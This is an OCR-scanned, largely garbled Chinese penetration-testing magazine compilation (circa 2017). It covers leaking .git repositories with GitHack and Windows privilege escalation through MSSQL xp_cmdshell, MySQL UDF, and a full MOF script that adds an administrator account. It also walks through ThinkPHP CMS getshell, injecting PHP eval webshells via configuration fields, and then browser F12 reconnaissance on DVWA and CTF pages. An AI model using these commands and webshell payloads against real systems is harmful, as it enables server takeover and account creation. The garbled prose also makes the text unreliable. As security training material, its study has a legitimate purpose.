@ Email address found (12)
[F1 1 aitflanciHF AR

K 3Git repository found 15 & it 75 il

&3

&35

+

@--E--E-E-E-E

@--&-- -

2§ H githack T_.H B #5H FH 1ZIwiH
1E kali #1147 ./GitHack.py http://www.***** cn/ git/, U1K 4 Fizs, G0 SR AR 3R E
EESEIST
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# ./GitHack.py http://www.n .cn/.git/

Paths

Target Url: http:

Initialize Target

Try to Clone straightly

Clone
ning into '/root/tools/githackl/dist/www.'2iiZ1.cn
atal: repository 'http://www.miwi1.cn/.git/"' not found
Clone Error

1

/ Listing
is not support Directory Listing
[Sklp][Flrst Try] Target is not support Directory Listing
Try to clone with Cache
Initialize Git
Cache files
packed-refs
config
HEAD
COMMIT_EDITMSG
FETCH_HEAD
/refs/heads/master
index
logs/HEAD
refs/heads/master
logs/refs/heads/master

Wi B M PN St LY ,+ O bt e et e e s

K 4 BEAT IR TR A
3AEAH L A
GitHack.py RS AE 27T H 3 N dist H 3o AE B H AR Rt 44 1 S0P, 4 HL A
# Windows T, 1K 5 iz, Al LA ) H bRk F A IR .

TREASE » {EEWE » data » root » tools » githackl » dist » www.(illicn »

SEIEEF - HE ~ 73 FrEsriR

AN

.git

4399chunjie

active

application

assets
bak_20170616_share
chunjie

manage

mobile

share

system

version

.DS_Store
baidu_verify_3gjNo2uHF9.html

)

N
x X X

bi_service.wsdl

B i

config.php
index.php
mini_world.sql

M mini192x192.png

share.php
share4399.php
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K 5 FREL R B YR A

1.5.5 R2RH3E

8 nginx SKAESMA B A& U7 8 SO H R RE S, P AR SE ngink EIMICE, R
PO AN TR YA ) B H S A T HERR R BRI B, A RVEANETI git H Sk
server {

location ~ /\.git {
deny all;

1.5.6 8EXE

https://www.polyu.edu.hk/its/general-information/newsletter/109-year-2016/mar-16/508-how-

to-use-Github-without-leaking-your-credentials

https://snyk.io/blog/leaked-credentials-in-packages/
http://www.freebuf.com/sectool/66096.html, GitHack: —> Git &% £ FH I A<
https://zh.wikipedia.org/wiki/Git, Git F £}
http://www.runoob.com/manual/git-guide/, git -4 BH$5 9

1.6Windows & =AU EF]

AL MRRKITEE, AFA05 AT BLEARS . BORBIX B [A]2 ) i R il 2y, A
AKIATT, BAXS T IS 2 216 .

1.6.1Mssql &2

LANRA MSSQL K & ittt i 42 AL

MR AHLT) SQL Server B4 S, HEEE HARRSS & . 8L LR A & R & B R 5545 HOAL R -
fic & xp_cmdshell 7F/5

EXEC sp_configure ‘show advanced options’, 1

RECONFIGURE

EXEC sp_configure ‘xp_cmdshell’, 1

RECONFIGURE

WP

Net user Summer i /& 5 2% L ZLR %58 /add

Net localgroup Administrators Summer /add

Net localgroup “Remote Desktop Users” /add

TR I R A R B R AR SR AHL, MR A nmap F%8E FAHLEH ip B K 1434 31, AlRE
Bl PENL SR TR RS A SR Y . A P RERI K P S I ST, TR A LLBCHT I Mt ) H 3% .
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http://www.jianshu.com/p/18dc0f633a6a
2.mysql T /7 2 b it 5% AL

1.6.2Udf 3R 773%:

FAF:Mysql BA KT 5.1 K dil SO mysql 2635 H 3 R lib\plugin SC#Fk
Mysql JiA/NT 5.1 WPKE dil SCHFTBE] C:\winnt\system32 H3& T

E R EA insert F delete FLFR

A RLRE dil S5 N FIAH R H 5%

A7

TR i A SRR U 2C 15 B

Select version();

Select user();

Select @ @basedir; //3H %235 H 5%

TSR A

H&ZIKE 51—T:

Windows2000 C:\winnt\udf.dll

Windows2003 C:\windows\system32\udf.d|

WATE 5.1 L L

S22 %% B3 A lib\plugins SCAFJERT LUEEIE NTFS ADS Ji kil £ «

Select “test” into dumpfile ‘C:\\Program Files\\MySQL Server 5.1\\lib::SINDEX_ALLOCATION’;
Select “test” into dumpfile ‘C:\\Program Files\\MySQL Server
5.1\\lib\plugin::SINDEX_ALLOCATION’;

T dll STHFEP AT B emdshell 2 £, 138 I AH B 1) B BOR AT 2

2.2 Mof IRV
2 B AR IIK P 25 root AR AT PLK mof U145 H F] C:\windows\system32\wbem\mof
A

WL R S AT N B RSS 1A 5 SR e
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as SEventFilter
{
EventNamespace = "Root\\Cimv2";
Name ="filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QuerylLanguage = "WQL";

instance of ActiveScriptEventConsumer as SConsumer

39 m/F 128 HARHW: FH 28 H HTFRE: R

pat:



(2K 365 LA FL) 2 6 HiZ+E w5 : antian365-20170928

{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin
[add")";
12
instance of __ FilterToConsumerBinding
{
Consumer = SConsumer;
Filter = SEventFilter;
I8

LT R BN F] mof A e

B it select load_file( ¢ mof X f fu BH ’ ) into dump_file
‘C:/windows/system32/wbem/mof/nullevt.mof’

ARG 2 U8 admin admin K &

KA R TR R BIRUR I A2 JEH i

1.6.3.exp &

Exp FEA— M 75 EL A 3] webshell, i cmd SKRHAT exp SRIEFBUR, 75 B A5 AT systeminfo
RAEF M5 28 PR 22 R SR AN T, dl I R X AN R XM nT DU R AN T B AL
R
http://www.jianshu.com/p/297d4b43b2e0
N RN secwiki R ms X SEAURE R, I ELA AH R 456 FH 15
https://github.com/SecWiki/windows-kernel-exploits
I T A A B ] ms14-058 FEAL— AN /M T
XA EHFR G 1R8] web HRAE ftp HXF, MH ftp 55104, HESBURSGHELMHE,
HEERT N, HHRIERMKER SRR AR IHEGE, RE T H RS &R
FlfE &5 E, RIEIEA LT, BT THERW ip 2RI, AMENZANE A
KFRo Bela AT L X AN MR

XA x64.exe 52 FARSERRE Y, ISAT Fin] LRI RSN system BR T 1HIF 45
AR 2 R Ged AU R, ZEAR T LA FTRICN , (2 22 SRR X A P, 38 AT 2 4

1.6.4exe Bk

EANTT IR A2 B 4 B 24T B € NS AT AR B SO 7 Rdh A7 FRAR B — LU %
RERAE
TH CIBEFE TAMET, RESLIRIMAH 4, JF AR H P 2R mBE A A, &
AVE B ) AN TT TR
http://www.jianshu.com/p/84522a68d03f
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1.6.5dIl #h¥F

DIl FHFRIZRIRBIRZIEIAR T, AFRER AT 1 I 1 I O B 2 7 75 2 I i R 5 1 45
BIERATE N B AR

BAVEHSLE —4 DLL, B 5HEEHM DLL FHRMFE, HHAEWIE s DLL, HHAE
W3 R R B DLL,  FER R S RA 1A ZE A R A

KT dIl BRI — LBk ) iR
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager

R EA KnownDLLs VEMF I, Windows NT 8~ [ 148 R 7 K &R DLL:

LIEZENNEL DLL FRERE I AT $hAT SCAFI H 3%

2. 0EFEN# DLL IR 41T H 3%

3.\WINNT\SYSTEM32 H3g.

4\WINNT H3gEH.

5.7/F path PEAFEAIH I H .

WA KnownDLLs JEM R, Windows NT 1 N T it 27>k &5 48 DLL:
T.\WINNT\SYSTEM32 H 3.

2. EAENEL DLL [RRERE AT $AT SR H 3%

3.EFEMN# DLL i FRA 4T H %o

4\WINNT H3gEH.

5./E PATH M5AR & 41 T H 5%

W DLL AR B B R, Rl S BTN 2R .

KnowDLLs HJ H I xf T dil k2 m 7, HEEMK X Em T — 4
ExcludeFromKnownDlls, S 7EX AN A IR EL SRR dIl BP AT, (R R ZE HARE S .
NIRRT A Ipk SEF dil 1) € ACHD ) — L35 B
FHERE A TR dIl S R A dIl T H R

FHEREA TR A dI K-S H R, A LG, (H 0 H g
XA BRBOR A STIREUE LG dil 15 ek ok 53R (]

XA load () B #2771 TR Ipk 1 SR 4G #6420 HLARER

AN H R 51 AT E ) Init B3 JF B JEAG Ipk i — DM S R, XA A
o NitslibORS I By d R

L2 BRF Ipk 1) dIl AHS I — L8087, A7 AT AEEAE R dIl SRR C VRS, (H)2
GERIERA — LR EE R, 38R AU dil J7 T 2R A RE 2 L.

N ESHERERE:
http://zhuanlan.51cto.com/columnlist/chenxb
http://blog.csdn.net/hgy413/article/details/7799237
http://www.jianshu.com/p/271312b96170

1.7 2T ThinkPHP ] 2 4 cms J§ & getshell
FIH

Y #A{E#:Mochazz
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B EEAE# szrzvdny

ThinkPHP &4 T fii fb Al 2 8T A R B WEB BT A i v AR 11, e T L
S, 1R% cms #FETZHELEE S . SR1 Thinkphp fEZEAFE1E FHENEAEBUE, A RGEAER,
Thinkphp 2244805 5 5 ALAFE—AS php SO, a2 AR TR KK 22 42 vl

1.7.1 FEE#E

1. T.H

phpstudy

http://www.phpstudy.net/phpstudy/phpStudy20161103.zip

Jymusic cms

http://www.jyuu.cn/topic/t/41

xyhcms

https://pan.baidu.com/s/1qYhTKc8

2. %5

2Rl phpstudy, 8 jymusic H &N BIFTA SO &OSCH 45 DLE] phpstudy 1 www B3 T,
M YLA5 Vi1 http://localhost/install.php, #RJa AL E — T Hodf (5 S BT .

m =5 E=R )

/ W NmusicREERF

('_ @ | localhost/install.php WEE ¢ || Q3= -crks w B ¥ # = =
O eaiEs

JYMUSIGrg=R%E

m

SR

i v R ==

Y

s
i
di
g
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JYMUSI CrEs %%

SehY

S EERAR B & Tinstal.php
HHY /B BEE ) =

EIESEAE |

© Company JYmusic 2014-2016

AN xyhems ZEEFRAL, X EAFR

1.7.2 A# )5 & getshell

Jymusic cms
S — N OB SR TUR VRS, B0 4 ThinkPHP.php, R EIFFT T E

admin.php

pai

define ( 'APP_PATH', './ )i

g-php")){

define ( ‘RUNTIME_PATH', './Runtime/’ };

" . /ThinkPHP/ThinkPHP.php';

RIS A7 H 3N Temp SCHFR

43 71/ 128 WRHW: 4H 28 H HTE: %k
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4p ThinkPHP.php

! defi PATH' , AP on');

19T Temp SCPFR 2RI R 2 5247 3CAF, BAIBEMEST I RIAI A, AT DAL I 1) 347
RBMBIEE R, RARFSIMLE R4S

=N E=E =<5
@n\:jv| . « phpStudy2 » WWW » jymusic » Runtime » Temp v | +5 | | o
En v @sfER Y HE v HESEE =~ 0 @
& e 8 i s =m o
5 T B 2a48964c04b6583316e89871d1d43d... 2017/9/21 1:22 PHP =rit 1KB
] H| 4e819¢c837d54a6ed09abc77a8560a6... PHP Szit 2 KB
L SREEaE H| 09bfc976eaed05deBa55b9f798d3299... PHP =0i% 1KB
[H| 95a1fe934b68ebfecB468bf0bcaf000D... PHP =74 9 KB
= [H| 0112cefbbcad4caed79960e8d562¢71... PHP Szit 2KB
B 5 H| 86528245bc0c525aa4a48bfb433d7 3. PHP 37 1KB
B 29743514c2021507367624cH9c14aa... PHP =74 1KB
%‘ &R [H| b0a43bb242b02970670631ef18af71.. PHP Srit 1KB
& o H| b688:0fe81684ab30e3fb42078:642¢H. PHP 3z 3 KB
o B | c485d2ed5ccAcebafoccca710c7a0bb7...  2017/9/21 1:22  PHP 2 KB
B £8993a2c22bcBdaB7bc74855826e9...  2017/9/21 1:22 PHP Srit 1KB
o =5EE
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It ASRATIAE 5 & B Rt B B AL AR — 5015, LS ThinkPHP 5 NZ2A7 3. T HAX A4
SRS A4 AL [ E AR, X 52 T EL getshell Y.

el =T ERE &FRF Al E wERET i

PSS W dyuu.cn BRI

MSGEE | YmusicEPhp+Mysqfisho—sc (o e SR
BT EERERRS XAENE ‘%
fiFEphptEZEthinkphp. EBE=E%
=, 8%, BTROASZEAR
s, meTgREES DL &

QQ I <?php @¢

Lo ] <?php @eval($_POST['cmd'].

BEREIE <7php @e

LT Fe E‘ WexHEEMRAF RN , EBESULIERRE
ShE s S | RS~~~ FHE = ERHETEE

HREMR
(REEAL |

0 ¥ emmmEiS ek
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File Edit Selection Find View Goto Tools Project Preferences Help

4» 95alfe934bbEebfeeB468bf0bcdf0000.php

php

NFIG_TYPE_LIS

FRIIAEN G, FATRIAT —F phpinfo() IRECEE , T AE K EEHE

INT > = & SQLBASICS- UNION BASED~ ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS

& Load URL http://127.0.0.1/jymusic/Runtime/Temp/95alfel34bb8ebiee8468bf0bcdf0000.php
% split URL

» Execute

Post data [[] Referrer ¥ OxHEX ™ &&= 9%URL ¥ = BASEG4 ™

Post data cmd=phpinfo();

"-5:14:"WEB_SITE_CLOSE";s:1:"1";5:16:"CONFIG_TYPE_LIST";a:5:{i:0;5:6:"$&tRRE";i:1;5:6:"&iE
S")s:12:"WEB_SITE_ICP";5:30:"

PHP Version 5.4.45 W

:2;5:6: " EFEIE" 356 HEE 14

System Windows NT PC 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) i586

Build Date Sep 2 2015 23:45:52

Compiler MSWVCE (Visual C++ 2008)

Architecture xB6

Configure cseript /nologo configurejs "--enable-snapshot-build” *--disable-isapi” "--enable-

Command debug-pack” "--without-mssgl" "--without-pdo-mssql” "--without-pi3web" "--with-
pdao-oc=C\php-sdk\oracle\instantclientlO\sdk,shared" "--with-oci8=C:\php-
sdk\oraclelinstantclient10ysdk shared" "--with-oci8-11g=Ci\php-sdkioracle
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B cem B

[E] FAISHELL X
ks | fjymuzic/Runtime/Tenp/95a] fed34bB5ebfeeddf8bf0bed £0000. php | emd
Bif:
CED
ERE=] > |[pHpEval) | |GB23iz ~| &=m
0 W] Ch1z7.0.0.1 X E
] C:hphpS tudy Wit S jymusichBuntimeh Temph
1z7.0.0.1 B ), 32 (12) = BiEl Fol
[ & C:
B [ phpStudy? B 011ZcefbbedddeaedT398084562. . 2017-09-20 1T:22:23 1118
=1 W
2] jymusie || 035587420830 ecT0d291 25483 £, .. 2017-09-20 17:45:16 G663
= ] Funtime
= B 09b£eBTheseddSdefaSob04THEAS. . 2017-09-20 1T:22:31 561
e I
|| 2248984004b5£553316.595T1414d. .. 2017-09-20 17:22:31 445
|| 425190837454 202 A08abeTT20560. .. 2017-09-20 17:22:22 1354
|B| 8852524500052 a0 248bfb433d. .. 2017-09-20 17:23:28 50
B 9551 fel3bA8eb feedd8bf0bedf. .. 2017-09-20 17:51:24 8273
B s8T4351£eR f02150TIETEZdcffBe. . 2017-09-20 17:22:23 966
m iz Bz 00001 X

net user test 1

47 /128 HRRHB: fH 28 H HBTRE: Htk
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=[O shnsl
171 Bz

i) Typel

=
Bt
uala]
uala]
uala]
0666
0666
0666
0666

Julala]

EHAM 2017-09-
B [B] #ios
171 Ehidzeal
i1 Typel

B A SRR
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Zgga= e O admin Ope Qum 0

—A T QQE(EERA SRR H$$9).40 30729963538 mEEial

QQ <?php @eval(§_POST['cmd']); 7=

A <?php @eval($_POST['cmd']); 7=
i EREIE
#Ea
R BT ~ ETEE @ T O BEE
= HiFsSH <?php @eval(§_POST['cmnd']); 7=
5.0 SO TAA
INT v = & SOQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTD
@ Load URL [ hitpy//127.0.0.1/xyhems/App/Runtime/Data/config/site.php

B split URL

b Execute

Past data [[] Referrer 4 OxHEX & GURL 4= BASEGL

Post data emd=phpinfa();

a:40:{s:11:"CFG_WEBNAME";s:30:"

System Windeows NT PC 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) i586

Build Date Sep 2 2015 23:45:53

Compiler MSVCY (Visual C++ 2008)

Architecture xB6

Configure cscript /nologo configurejs "--enable-snapshot-build” "--disable-isapi” "--enable-

Command debug-pack” "--without-mssgl" "--without-pdo-mssgl" "--without-pidweb” "--with-
pdo-oci=Cphp-sdkioracle\instantclientl0\sdk shared” "--with-oci8=C\php-
sdk\oracle\instantclient10\sdk shared" "--with-oci8-11g=Ch\php-sdk\oracle
T I w [ T i

_POST[ "cmd " 1);
" 2:"CFa_|

xyhems HS2EH — /NI, ERRE BT IRII— php JE 8RR, SO R
ARSI L JE . N 1 A2 Al getshell i F2

H48 pi/dk 128 HiREHI: BH 28 0 mTARE: Ak
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N =
GX YH CM S %‘ﬂE‘E s :fé;}ﬁ rEemE O admin O rmze Qun @

2 STERISIRIP

EREE

=EER SR Fshell.php

e i i
B B <7php @eval($_POST['cmd'];) 7.>|
XiEER

EEHEE
BETEE
[ere] —

IEMFAIER

= & SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XS5- LFI-
http:/f127.0.0.1/xyhems/Public/Home/default/shell.php

Post data [[] Referrer 4 OxHEX ™ X %URL ™ % BASEG4 I Insert string fo -’e,.::f'afe|
cmd=phpinfo();

Insert replacing string Replace Al

[ all=Whole URL / uncheck=selected textarea

System Windows NT PC 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) i586

Build Date Sep 2 2015 23:45:53

Compiler MSVCY (Visual C++ 2008)

Architecture x86

Configure cscript /fnologo configurejs "--enable-snapshot-build" "--disable-isapi® "--enable-

Command debug-pack” "--without-mssg|" "--without-pdo-mssgl" "--without-pi3web" "--with-
pdooc|'=C:\phpfsdk\oracle\l'nstantc\fentl()'\sdkshared' "--with-oci8=C:\php-
sdk\oracle\instantclient10\sdk,shared" "--with-oci8-11g=C\php-sdk\oracle
vinstantclientll\sdk,shared” " —enable-obJect-oul—dlr— .\,fobJ,l' —enable-com
Antret=chared® " uith. e Al ahlaoct ithonmn®

1.7.3 .45

HSLIAEIR 2 /N U & 36T ThinkPHP HEZEFF R 11, R ZHAFAEX PP R, MR AET]
AE e, DGR R . MR, A AS U, EANEESERA A, RA
SRAEAME I, AL, AN K, ISR, REATTENE, S
O IE R L (1, Bl RUATT . B4, BRI, BEARURFR R Rk
getshell, {HZ2SEATDUFAARIARIGIEHIRZ, LUK getshell 25 KIBRANEE , ARHAT LA
RIRIERL, B udf FEA0. T mysql EFEIERLE A sqlmap $RAUEESE, AR L7 HATR
HtE 1, HRHARENAIS, i 2 B EEA v RS RARFTI S, 4k8nimh
ne !

S F:

ThinkPHP5.0.10-3.2.3 EFREUKITIEAT S Getshell

#5049 mi/dk 128 HiREHI: BH 28 0 mTARE: Ak
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1.8F12 1 B £

eth10

5 B4 (Information Gathering) , J&¥giEI &7 = UL A B ¢ T H RS AT g
HREH bruh L E R, REBEMNKEREPF RS, EEFEEN—P. /£
web BENIA, 15 B2 AT — AT, 5 BRI RS T ik
E T FEIARBEN I RUR, 7280 E BWCERA R R H LI AR, thalEee 5 iz
R SCHEAE A B — DA, AR SR E BRI S A Ok F12 5 B DA O H,
g

F12 PR #H THEAH BT RN QA RN T —ET A, FEEF elements,

network. sources. timeliness. Profiles. resources. audits. console #ilk, #IE 1-1 ffion:

& 8% Bl
» & B

127.0.0.1 o f =, | q EoE- S pégg
: 4 — e T RN ToESE
R ‘E,Wf

CaEyy
2
[ Login  Damn Vulnerable v x| - [

Username

Password

| Login |

Q [] || Elements | Network Sources Timeline Profiles Resources Audits Console o> O X

"http://wew.w3.0rg/1999/xhtml">
>

body { login.css:1
background: b [1#fefffe;
font:»12px/15px Arial, Helvetica, sans-

1i t: 20px;

color: M#6b6b6D;

¥

body { user agent stylesheet
display: block;
margin: b 8px;

-2 77k 1 AT
F12 JFRE B 2T IREERIE USRI (E Blcsk, mid
F12 JATAT AR RIIR 2 AE BT LI 5 2, EEAREFRE EILE. hidden 15 BULEE.
AN B2 AE EUEE . webserver 15 EIEE DL K JavaScript ZhfE(S EULESE .

1.8.1 FREEWE

FAAE B3 U5 7 B T, A TEPEAS P EE A EAERE R, REEREE T
HESBETARSBREE, ATREREA I T EEER, thr e — SR ThRet e,
FRFH AR SRR EAB W BURE R . 18 F12 1) elements B IRATR DLIZ L R ITF
M RREEERGELE, HR2XFRRLAERKK T, FOER MR TZ AR
CCtri+F ] #ZERAE R, S5l DUE i & TR R 2R RS B, (HRE R IR
AN EELEN, R ARRITERNESR .

15 F12 1, AR LA AT AR show drawer b C =) #HTFTE 7RI R <,
TIANFRATTAT LLAE AR TSR L Cerl+shift+f IRERIEBEAT IR, BIWIERTA RTERAS AR K,

50 Ti/3k 128 HRHW: &H 28 H HTIE: %k
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W 1-2 PR . I8 X RN T EFRA T AT CLPRIE B A U R E R, s AR R IRATT AT
PLSRE B — 3k B ik A< 1 - - <img src="dvwa/images/RandomStorm.png" /> -->, s
mﬂﬁﬂ E B s PRI S AE SR P A Sl Y Th g, BRATHEAT LUBIL U5 ) images KEH
TR 7 H R, TR 7 H S SEHATRT DA e H % ks 1) HeAtl 1R 2 8
@I#!Wﬁﬁﬁxﬁ\E@%%%&ﬂﬁﬁa%%%%ﬁxﬁéo

Q [] ||Elements | Network Sources Timeline Profiles Resources Audits Console o> | 0 x
Styles | Computed Event Listeners />>
¥ <html xmlns="http://www.w3.0rg/1999/xhtml"> / —
. +, ke -l
element.style {
-1
body { login.css:1 »

Conscle | Search | Emulation Rendering —
—
L 4~ | @ gnore case ([ Regular expression

¥ 127.0.0.1/dvwallogin.php (5 matches)

71| </div> <l--<div id="footer"> -->
73| </aiv> i-=<div id="wrapper®y -->

-J/LM( FRAE B
Yol ctf M AENIE, 75 web T RITFLGS: S IRHE, 55— flag 2 B0#7E DL
TR F REFEREEY, WK 13, B 14 s

Q [] || Elements | Metwork Sources Timeline Profiles Resources Audits Conscle
¥ <himl>
P <headr.</heads>

¥ <body>
keyefiFEiZ B, (RACHIEIMIE Y
¢! --key is jflsjklejflkdsjfklds--»

</ body>
</html>

html

Conscle | Search | Emulaticn Rendering
<l ¥ Igniore case Regular expression

¥ IabI xseclab.com/base1_4a4d993ed7bd7d467b27af52d2aaaB00/index.php (1 match)
<l--key is jflsjklejflkdsjfklds-->

Bl flag

© [] | |Elements| Network Sources Timeline Profiles Resources Audits Console @123 | O, X

/ 3 1999/ xhtml! Styles | Computed Event Listeners >
wit.w3.0rg/1899/xhtml">

+, F ®
¥ <body id="body" onload="init()">.</body>

</html>

html  body#body

Cancel

Console  Search | Emulation Rendering

| <! | @ ignore case [ Regular expression

¥ 120.24.86.145:8002/web2/(index) (2 matches)
Pl DO LR it DU L MR DI 1.8 Transitional//EN" “http://wwe.w3.org/TR/xhtm11/DTD/xhtml1-transitional. dtd"

i vt s suecamisoion: ]
Bl flag

TESRER T, FRE RS BRI B S T #n b, #EmikE T IR Z BURE R, W
@% S riE HETE . IEARSSETRATE X AN X LA B AT DU B A R g, AT S

AT R IR B RS BRI R — AL B Th RE IR, NI XA D %
ﬁ% XANHTTAELE sQL VN, B AR RIEIGIERS R BIA NI FHLS BT, SREXT root
M5 BT E, @I S S S U BRI T AT _EAE webshell, B AR, IR ZS 5 Geid |

S FIERAE BSHE BltER, — 2R EMBR AT Eon e E R, RAHMThRe

s

51 ji/ 128 WRHMA: H 28 H HTFHME: £
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BB, SR 1 T B 7 W
1.8.2hidden {5 BB

FEA B VACRGIS, AT KA LR type HIMEZ hidden, ARFEZIEMAE T /2
P, AEoRm, HEYSHERE hidden [, HEKIHSIRZ RS AR, XML TR
FIRHBIMLE, FRAMEH LR 5 E4E & hidden, W 1-5 fir, RIATEETH type (&
N hidden ¥ 14

© [ | Elements Network | Sources | Timeline Profiles Resources Audits Consale o1 > 0, X

I loginphp x | n ve O Asyn
£ wr « b Watch + ¢
v | ¥ Call Stack |
»
ted ¥ Scop hd
5 Emulation R
hidicl #l Igno Regul
¥ 127.0.0.1/dvwa/login.php (1 match)
a7 <input typ ke 7a27ca5d55d41f cb69bd123d@59e1596" />
¥ 127.0.0.1/dvwal/d
32

-ﬁ‘“ . hidden ¢ %
FATAT LIS MER hidden BP ] £ DT Rz 4E, Wil 1-6 Pias, IF Bl o
i) value 1A -

Login

Ta27cab5d55d41fch69bd1a3d(

[ || Elements | Network Sources Timeline Profiles Resources Audits Console
P <head>.</head> o
¥ <body>

¥ <div id="wrapper":
P ¢div id="header">..</div>
<!--¢<div id="header">--> N
¥ ¢div id="content"> 4
f
P <fieldset>..</fieldset>
¥ ¢input type name="user_token" value="7a27ca5d55d41fcb69bdla3des9el596" >

P #chadow-root (user-agent) ]
</input>
</ form>»
<br>
<br>
<hry T,
html body div#wrapper div¥#content m N
hidden AW Cancel

Bl hidden

FESEHE T, RGBSR hidden FRICEIE B A 5 PR IL RS I UERY, KT
B VPR, Gk R R SRV AR, AN — IR T hidden [IXA~2
FARIB AR B S #510, MWIEF XA SHORAFAE XSS i, HRIEZMBESHER T —
FE I PERT o

KR B ANEAEH hidden J& PER S UBUREDE, MRS RIK s RIE R RS R
AR IE R RAE T EACHD h o ANVE DA IT 2, X TS B IRS 20 S BTN # 7 AT RS
St !

1.8.3 X BEERHE

X ERARAE R, REZLRBCERE T e AR B’ AR, & 1-7 PR, AR5 IEE

52 Ji/H 128 WRHM: H 28 H HWTFHME: £
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. ocate B find) X HILL B, 456 R A T B A2 ORI AT SRENFRATT AR L 1 26 % i
1%, MIIHEAT webshell [ A% !

Sources Timeline Profiles | Resources | Audits Console

: \ WA

1 Wel
4 Indexes
orage
»f o orage Dimensions 200 x 114
& Cookies File size 8.9K3
B8 Application Cache MIME type image

/png
4 Cache Storage URL http://127.0.0.1/dvwa/dvwa/images/login_loge.png

I
FHBATIE W] LIAE Resource N1 script HAEFAHIMN js X (A confljs) HRERIUAXS
HHARAE S, AT RESR S BE AT DURIRAL G i, Mo AT AT AT 2t — 2B A, B 1-8 fra!

BT Concole

Q [J | Eements Network Sources Timelin
¥ I Frame f

[] index_851_851.html
o

FEShRA, TR SR T AT BRI B K AT LA webshell, JHLR4E4
B SHUT T RG], WTRERA I, HVE A A BT T, TS % LA webshell, 3
S T TS — S B, SECRRFTA &S HREIT, BB root K
B, IR AL AN TIARSRA webshell BETRIF, FAOCH! 554MR MBI,
B TR BN BB, 2 L] & Mk

1.8.4webserver {2k

webserver 15 SR £ E R ILE web IS a5 — MBI, A0 ANEZLFEEE 1Y,
#& Apache, I&7& Nginx, B2 AthR), WSGRMARAES IR, & asp, /& PHP %515
B, XEFBIRATAT DME F12 TR EE .

HRTRATEALR] F12 1) network B, 1%EFF doc (3CRY, document) HEATHIE, SA)51d
H Fs AT RIFTER R, i 1-9 P

53 Ti/3 128 HRHW: &H 28 H HTIE: %k
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Damn Vulnerable Web Application (DVWA

7 v
Q D Elements |/Network| Sources Timeline Profiles Resources Audits Console o1 >_ # =, X
® O ™ Y | View = ™=  [JPreservelog @ Disable cache | No throttling v

[Fitter | O Hide data URLs All | XHR JS €SS Img Media Font WS Other

' 100 ms] 200 ms 300ms 400 ms 500 ms 600 ms 700 ms 800ms 900 ms 1000 ms

’ Name Method | Status Type Initiator Size Time Timeline - Start Time 1.00 s‘
[] login.php GET 200 document Other 1.8KB 79ms

éoy

1/ 3 requests | 1.8KB/ 12.1 KB transferred | Finish: 100 ms | DOMContentLoaded: 101 ms | Load: 104 ms

B 5 network #4705 ik
BB FRAT iy N SCRS AT BB VEANE S, o LA 2L M 2 Apache FEEHY,
I HMRA R 2.4.23, HHKE windows R4, HBUEIAE PHP, AN 5.4.45 5E 5, WA
1-10 fion, WHAMEX B LB BRI cookie, WTHRTEIX AR K I cookie & H admin=0,
o # flag=0 (X bR, ML AT LAEH burpsuit B TITEBE TR, K 0 5Ch 1 AT RERt
TUE%&)\@J%@%*T !

Q D Elements INetwork( Sources Timeline Profiles Resources Audits Console o1 ) # I_D‘ X

® O | ™ ¥ | View I= == | [JPreservelog @ Disable cache | No throttling v

| CHidedataURLs All | XHR JS CSS Img Media Font (Bag) WS Other

I 100 ms : 200 ms 300ms 400 ms 500 ms 600 ms 700 ms 800ms 900 ms 1000 ms l

‘ A‘

Name X | Headers | Preview Response Cookies Timing

L] loginphp Status Code: @ 200 0K -
¥ Response Headers view source

Cache-Control: no-cache, must-revalidate
Connection: Keep-Alive

Content-Length: 1523

Content-Type: text/html;charset=utf-8

Date: Fri, 15 Sep 2017 89:56:27 GMT
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Keep-Alive: timeout=5, max=100

-%?ﬁ webserver {2 £
webserver {5 B0 T2 UGS R Y, G SR hiCAS B AT 2 50 1 e il AT )

H54 pi/dk 128 HiREHI: BH 28 H mTARE: A
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s T RS IE B RS | DR Xl i 38 7 A 3 38 WX sl RO B e, Db AT e, FRgsit
KELE, BFBSUE BT B | WIFE php.ini 1% E expose_php = Off i
PHP WRAE B, W& FIHIPNATUSINE] Apache BB (A (vi Jetc/apache2/apache2.conf) JEHE,
Ja—17, BIATR&HE Apache banner {5 5. !

ServerSignature Off

ServerTokens Prod

1.8.4JavaScript ThEE{s B UEE

JavaScript {5 B £ ER BB KL ThRE A AT js 06, Wk 1-11 fiw, W2 ar
SRR R FRATT AT DL 2R js B ELIEAE FH burpsuit 3547 5 OB L HEAT AR S g8t . S Ahis
Al LA BB (Resource) BEH WA TR js S0, Holn confjs, Hifin] geeid & F|
— SR 1) B B S U R

<html>
<head>
<meta httr-equis=Cortent—Type contert="text html; charzet=1tf-8">
“titlerupload 1</ title>
<Ecriphy
finction check(){
var filename=document. getElementById("file") ;
var str=filename. value. split{”. ") ;
var ext=str[str.length-1];
if (ext=="73pg J {
return true;

alert ("F L F—IFCEZAIER! ")

return false;

telze{

1
return false;
1
<fzoript

</head>
<body>
ELAE—akIPCHEARIER!
<form actior="upload file.php” method="post” enctype="multipart/formdata” onsubmit="returmn check() ">
<label for="file">3IF48</ 1abel>
<input type="file” name="file" id="file" />
<br S
{input type="submit” name="submit” walue="_E&" />
<fform>
</body>
{htmls

L
FEBIEST, R AL SR AT, B A FRATAT LAAEHT js SREAT webshell L
&, JIHMEIHE G SRUTIR AT LAZE R js 2 Ja, RJA 3 HTE RK ™ 20 6 s BV AT s Didt A 21
ARG, XA RBRNE K I BT R SR ISR R I, DDCAE Al K — DR AR
AN, RERR G ) ek (RSE ) — R AT !

1.8.5 AN E R ELE

AL EERBRSN T F12 JPRE TR, WHRIIREBRAEEAM N, LR F12
